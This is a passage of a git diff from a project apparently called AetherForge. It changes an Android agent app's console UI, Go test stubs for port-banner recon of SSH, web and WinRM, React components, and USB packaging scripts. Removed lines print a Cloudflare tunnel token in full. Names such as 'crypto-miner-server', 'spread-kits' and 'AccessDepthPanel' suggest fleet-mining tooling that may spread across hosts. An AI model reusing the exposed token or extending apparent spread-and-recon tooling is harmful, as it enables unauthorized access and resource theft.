+ textSize = 12f
+ setTextColor(Color.WHITE)
+ background = GradientDrawable().apply {
+ setColor(0xFFD97706.toInt()) // Amber 600
+ cornerRadius = 4 * density
+ }
+ setOnClickListener { openBatteryOptimizationSettings() }
+ })
+ root.addView(batteryCard)
+
+ // Monospace Terminal Console Section
+ val consoleTitleLayout = LinearLayout(this).apply {
+ orientation = LinearLayout.HORIZONTAL
+ gravity = Gravity.CENTER_VERTICAL
+ layoutParams = LinearLayout.LayoutParams(
+ LinearLayout.LayoutParams.MATCH_PARENT,
+ LinearLayout.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = pad
+ bottomMargin = padHalf / 2
+ }
+ }
+
+ consoleTitleLayout.addView(TextView(this).apply {
+ text = "LIVE AGENT CONSOLE"
+ textSize = 12f
+ typeface = Typeface.create("sans-serif-medium", Typeface.BOLD)
+ setTextColor(0xFF38BDF8.toInt()) // Light Blue / Cyan 400
+ layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
+ })
+
+ consoleTitleLayout.addView(Button(this).apply {
+ text = "CLEAR"
+ textSize = 11f
+ setTextColor(0xFF94A3B8.toInt())
+ background = GradientDrawable().apply {
+ setColor(0xFF1E293B.toInt()) // Slate 800
+ cornerRadius = 4 * density
+ }
+ layoutParams = LinearLayout.LayoutParams(
+ LinearLayout.LayoutParams.WRAP_CONTENT,
+ (28 * density).toInt()
+ )
+ setOnClickListener { logConsole.text = "" }
+ })
+ root.addView(consoleTitleLayout)
+
+ logScrollView = ScrollView(this).apply {
+ background = GradientDrawable().apply {
+ setColor(0xFF1E293B.toInt()) // Dark Console background
+ cornerRadius = 6 * density
+ }
+ setPadding(padHalf, padHalf, padHalf, padHalf)
+ layoutParams = LinearLayout.LayoutParams(
+ LinearLayout.LayoutParams.MATCH_PARENT,
+ 0,
+ 1.0f
+ )
+ }
+
+ // Horizontal Scroll for long log lines
+ val hscroll = HorizontalScrollView(this).apply {
+ isFillViewport = true
+ }
+
+ logConsole = TextView(this).apply {
+ textSize = 11f
+ typeface = Typeface.MONOSPACE
+ setTextColor(0xFF34D399.toInt()) // Emerald Green text
+ setLineSpacing(2f, 1.1f)
+ text = "Initializing AetherForge Fleet Console...\n"
+ }
+ hscroll.addView(logConsole)
+ logScrollView.addView(hscroll)
+ root.addView(logScrollView)
+
+ // Config Info details footer
+ val footerCard = LinearLayout(this).apply {
+ orientation = LinearLayout.VERTICAL
+ setPadding(pad, pad, pad, pad)
+ background = GradientDrawable().apply {
+ setColor(0xFF1E293B.toInt())
+ cornerRadius = 8 * density
+ }
+ layoutParams = LinearLayout.LayoutParams(
+ LinearLayout.LayoutParams.MATCH_PARENT,
+ LinearLayout.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = pad
+ }
+ }
+
+ val addConfigRow = { label: String, keyText: String ->
+ val row = LinearLayout(this).apply {
+ orientation = LinearLayout.HORIZONTAL
+ setPadding(0, 2 * (density).toInt(), 0, 2 * (density).toInt())
+ }
+ row.addView(TextView(this).apply {
+ text = label
+ textSize = 11f
setTextColor(0xFF64748B.toInt())
- setPadding(0, 0, 0, pad)
- })
- addView(Button(context).apply {
- text = getString(R.string.open_battery_settings)
- setOnClickListener { openBatteryOptimizationSettings() }
+ layoutParams = LinearLayout.LayoutParams((100 * density).toInt(), LinearLayout.LayoutParams.WRAP_CONTENT)
})
+ val valView = TextView(this).apply {
+ text = keyText
+ textSize = 11f
+ typeface = Typeface.MONOSPACE
+ setTextColor(0xFF94A3B8.toInt())
+ layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
+ }
+ row.addView(valView)
+ footerCard.addView(row)
+ valView
+ }
+
+ // Populate dynamic config rows
+ val defaultCfg = AgentConfig.load(this)
+ configServerVal = addConfigRow("Server URL:", defaultCfg.serverUrl)
+ configNodeVal = addConfigRow("Fleet Node:", defaultCfg.workerName)
+ configBuildVal = addConfigRow("Build ID:", defaultCfg.buildId)
+
+ root.addView(footerCard)
+ return root
+ }
+
+ private fun updateStatusUi() {
+ val defaultCfg = AgentConfig.load(this)
+ configServerVal.text = defaultCfg.serverUrl
+ configNodeVal.text = defaultCfg.workerName
+ configBuildVal.text = defaultCfg.buildId
+
+ val density = resources.displayMetrics.density
+ if (AgentService.isRunning && AgentProcess.isAlive()) {
+ statusText.text = "AGENT CONNECTED"
+ statusText.setTextColor(0xFF34D399.toInt()) // Emerald Green
+ statusDot.background = GradientDrawable().apply {
+ shape = GradientDrawable.OVAL
+ setColor(0xFF34D399.toInt())
+ }
+ toggleButton.text = "STOP"
+ toggleButton.background = GradientDrawable().apply {
+ setColor(0xFFEF4444.toInt()) // Red 500
+ cornerRadius = 4 * density
+ }
+ } else {
+ statusText.text = "AGENT OFFLINE"
+ statusText.setTextColor(0xFF94A3B8.toInt())
+ statusDot.background = GradientDrawable().apply {
+ shape = GradientDrawable.OVAL
+ setColor(0xFF64748B.toInt())
+ }
+ toggleButton.text = "START"
+ toggleButton.background = GradientDrawable().apply {
+ setColor(0xFF0EA5E9.toInt()) // Cyan 500
+ cornerRadius = 4 * density
+ }
+ }
+ }
+
+ private fun checkBatteryOptimizationCard() {
+ val pm = getSystemService(POWER_SERVICE) as PowerManager
+ if (pm.isIgnoringBatteryOptimizations(packageName)) {
+ batteryCard.visibility = View.GONE
+ } else {
+ batteryCard.visibility = View.VISIBLE
+ }
+ }
+
+ private fun toggleAgentService() {
+ if (AgentService.isRunning) {
+ val intent = Intent(this, AgentService::class.java)
+ stopService(intent)
+ Toast.makeText(this, "Stopped fleet service", Toast.LENGTH_SHORT).show()
+ } else {
+ startFleetService()
+ }
+ updateStatusUi()
+ }
+
+ private fun appendConsoleLog(line: String) {
+ logConsole.append(line + "\n")
+ val txt = logConsole.text
+ if (txt.length > 30000) {
+ val idx = txt.indexOf('\n', txt.length - 20000)
+ if (idx != -1) {
+ logConsole.text = txt.subSequence(idx + 1, txt.length)
+ }
+ }
+ scrollToBottom()
+ }
+
+ private fun scrollToBottom() {
+ logScrollView.post {
+ logScrollView.fullScroll(View.FOCUS_DOWN)
}
}
@@ -90,15 +423,22 @@ class MainActivity : AppCompatActivity() {
private fun beginPermissionFlow() {
pendingPermissions = requiredRuntimePermissions()
if (pendingPermissions.isEmpty()) {
- openBatteryOptimizationSettings()
+ checkBatteryOptimizationSettingsFlow()
startFleetService()
return
}
permissionLauncher.launch(pendingPermissions.toTypedArray())
}
+ private fun checkBatteryOptimizationSettingsFlow() {
+ val pm = getSystemService(POWER_SERVICE) as PowerManager
+ if (!pm.isIgnoringBatteryOptimizations(packageName)) {
+ openBatteryOptimizationSettings()
+ }
+ }
+
private fun requestNextPermissionBatch() {
- openBatteryOptimizationSettings()
+ checkBatteryOptimizationSettingsFlow()
startFleetService()
}
@@ -118,6 +458,5 @@ class MainActivity : AppCompatActivity() {
intent?.extras?.let { putExtras(it) }
}
AgentService.start(this, serviceIntent)
- Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
}
}
diff --git a/pack-usb.bat b/pack-usb.bat
index e5abbb9..5b02f7b 100644
--- a/pack-usb.bat
+++ b/pack-usb.bat
@@ -151,9 +151,6 @@ echo [5/8] Launcher synced.
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
copy /y "%ROOT%\scripts\launch-prep.bat" "%USB%\scripts\" >nul
-if not exist "%USB%\data\cloudflared-token.txt" (
- echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
-)
:: ----------------------------------------------------------------
:: 6. Remove stale nested server mirror (not needed for portable)
@@ -173,6 +170,15 @@ if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints"
if not exist "%USB%\data\preps" mkdir "%USB%\data\preps"
if not exist "%USB%\data\spread-kits" mkdir "%USB%\data\spread-kits"
if not exist "%USB%\data\uploads" mkdir "%USB%\data\uploads"
+if not exist "%USB%\data\cloudflared-token.txt" (
+ if exist "%ROOT%\data\cloudflared-token.txt" (
+ copy /y "%ROOT%\data\cloudflared-token.txt" "%USB%\data\" >nul
+ echo [7/8] Copied existing cloudflared-token.txt to USB data\.
+ ) else (
+ echo PLACEHOLDER_TOKEN_PLEASE_CONFIGURE> "%USB%\data\cloudflared-token.txt"
+ echo [7/8] Warning: no cloudflared-token.txt found, wrote placeholder.
+ )
+)
if not exist "%USB%\data\config.json" (
echo [7/8] Writing starter config.json...
powershell -NoProfile -Command ^
diff --git a/scripts/usb-start-cloudflared.ps1 b/scripts/usb-start-cloudflared.ps1
index 41e6419..38fd8ef 100644
--- a/scripts/usb-start-cloudflared.ps1
+++ b/scripts/usb-start-cloudflared.ps1
@@ -22,8 +22,8 @@ if (-not $token) {
}
}
if (-not $token) {
- # Builtin fallback (matches server/config.go builtinCloudflareTunnelToken)
- $token = 'eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9'
+ Write-Error "[Tunnel] ERROR: No Cloudflare tunnel token configured. Please set the token via the AF_TUNNEL_TOKEN environment variable or data\cloudflared-token.txt."
+ exit 1
}
$bin = Join-Path $DeckRoot 'tools\cloudflared.exe'
diff --git a/server/internal/api/ws_types_test.go b/server/internal/api/ws_types_test.go
index 5283756..c369cd3 100644
--- a/server/internal/api/ws_types_test.go
+++ b/server/internal/api/ws_types_test.go
@@ -9,12 +9,40 @@ import (
"sort"
"strings"
"testing"
+
+ "crypto-miner-server/internal/recon"
)
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
func TestMain(m *testing.M) {
flag.Parse()
+ // Enable AI control endpoints for the duration of the API tests
+ os.Setenv("AETHERFORGE_ENABLE_AI_CONTROL", "1")
+ // Stub banner hooks to avoid any real network requests during scans
+ recon.SetBannerHooks(
+ func(host string, port int) string {
+ if port == 22 {
+ return "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5"
+ }
+ return ""
+ },
+ func(host string, port int) (string, string) {
+ if port == 80 || port == 443 || port == 8080 {
+ return "Test Title", "nginx/1.18.0"
+ }
+ return "", ""
+ },
+ func(host string, port int) string {
+ if port == 5985 {
+ return "winrm_listening"
+ }
+ return ""
+ },
+ func() bool {
+ return false
+ },
+ )
os.Exit(m.Run())
}
diff --git a/server/main_test.go b/server/main_test.go
index 61921eb..0a1a137 100644
--- a/server/main_test.go
+++ b/server/main_test.go
@@ -85,6 +85,23 @@ func TestFindAgentSourceDir(t *testing.T) {
func TestFindWebRoot(t *testing.T) {
dir := findWebRoot()
+ var tempCreated string
+ if dir == "" {
+ _ = os.MkdirAll("webroot", 0755)
+ tempFile := filepath.Join("webroot", "index.html")
+ if err := os.WriteFile(tempFile, []byte("dummy"), 0644); err == nil {
+ tempCreated = tempFile
+ }
+ dir = findWebRoot()
+ }
+
+ if tempCreated != "" {
+ t.Cleanup(func() {
+ _ = os.Remove(tempCreated)
+ _ = os.Remove(filepath.Dir(tempCreated))
+ })
+ }
+
if dir == "" {
t.Fatal("findWebRoot returned empty string")
}
@@ -94,6 +111,7 @@ func TestFindWebRoot(t *testing.T) {
}
}
+
func TestServerConfigProviderPublicURL(t *testing.T) {
cfg := DefaultConfig()
cfg.Server.PublicURL = "https://forge.example"
diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx
index fb34500..4801e4a 100644
--- a/server/web/src/components/Fleet/AccessDepthPanel.tsx
+++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useMemo, useRef, useState } from 'react';
+import { useEffect, useMemo, useRef, useState, memo } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import {
@@ -72,7 +72,7 @@ function AttemptMiniList({
);
}
-export default function AccessDepthPanel({ agent, diagnostics }: Props) {
+function AccessDepthPanel({ agent, diagnostics }: Props) {
const { latestMessage } = useWebSocket();
const [policyLoaded, setPolicyLoaded] = useState(false);
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
@@ -440,3 +440,5 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
);
}
+
+export default memo(AccessDepthPanel);
diff --git a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
index 22c56ae..f6344e4 100644
--- a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
+++ b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useRef } from 'react';
+import { useEffect, useRef, memo } from 'react';
import { Link } from 'react-router-dom';
import type { Agent } from '../../types';
import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
@@ -13,7 +13,7 @@ interface Props {
const AUTO_RESTART_MS = 60_000;
/** Banner when agents are online but not hashing — with actionable fix buttons. */
-export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
+function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
const stuck = agentsConnectedNotHashing(agents);
const firstSeenRef = useRef